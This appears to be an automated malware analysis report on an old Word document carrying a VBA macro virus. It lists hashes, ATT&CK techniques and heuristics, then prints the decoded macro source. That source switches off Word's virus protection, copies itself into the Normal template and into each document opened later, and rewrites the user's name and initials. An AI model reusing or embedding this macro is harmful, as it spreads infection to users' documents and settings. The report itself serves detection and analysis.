Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1dd5945099647e6d…

MALICIOUS

Office (OLE)

36.0 KB Created: 2009-08-22 11:39:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 38832ae5a6767754d29f0799e08bb548 SHA-1: c75546ad78e0a1aa589b653ec17cf687bfaa2046 SHA-256: 1dd5945099647e6dc02fe2e31fc3c8341fb87aeedc785d512205efea8e037e72
80 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a Microsoft Word document containing a VBA macro. The AutoOpen macro is designed to execute automatically when the document is opened. It copies the macro module to the Normal template and modifies application-level user information, suggesting an attempt to establish persistence or modify the user's environment for subsequent malicious activity. The macro's intent is to spread its code and alter user settings.

Heuristics 3

  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2396 bytes
SHA-256: a1f67e972bc4f8aea8f1c2848a0f19876d0557860d63fc77b23b4572c6098bba
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Word_Module"






















Sub AutoOpen()
'Copyright 1999 by Peter-Paul D. Gumpal
'I created this module for a very special purpose, it is not
'that I want to get someone's attention but I just want to spread
'this code(not the virus), but the code on how to program the Office
'Assistant.  After learning the features of the office assistant
'I want other people to know also how to program the office
'assistant, it came free anyway in Microsoft Office! So please no
'modification for this module, I had copyrighted this so that just
'in case someone did modify MY code I have the right to take
'legal actions.
'
'Thank you for cooperating and I hope you will soon discover
'that the Office Assistant IS NOT SO ANNOYING!!!
On Error Resume Next
Options.VirusProtection = False
Dim bal As Balloon
Dim iRetVal As Integer


If Application.UserInitials <> "OBC" Then

 Set bal = Assistant.NewBalloon
 With bal
 .Heading = "I'm Peepo, I will be your office Assistant!"
 .BalloonType = msoBalloonTypeButtons
 .Button = msoButtonSetOK
 iRetVal = .Show
 End With
     Application.OrganizerCopy Source:= _
    ActiveDocument.FullName, Destination:= _
    NormalTemplate.FullName, Name:="Word_Module", _
    Object:=wdOrganizerObjectProjectItems
    NormalTemplate.Save
   Application.UserName = "Peepo Guwapings"
    Application.UserInitials = "PPG"
    Application.UserAddress = "From AMACC-QC"
End If
For Each aVar In ActiveDocument.Variables
    If aVar.Name = "Peepo" Then num = aVar.Index
Next aVar
If num = 0 Then
   Application.OrganizerCopy Source:= _
    NormalTemplate.FullName, Destination:= _
    ActiveDocument.FullName, Name:="Word_Module", _
    Object:=wdOrganizerObjectProjectItems
   ActiveDocument.Variables.Add Name:="Peepo", Value:="567374-Peepo Guwapings"
    ActiveDocument.Save
End If
On Error GoTo 0
End Sub
Sub AutoExit()
    Application.UserName = "Peepo G. of AMACC-QC"
    MsgBox "Peepo Guwapings - Hacking the world in style. [[=Gambit23=]]", vbInformation, "D' Tropang Durbab of Echague, Isabela"
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.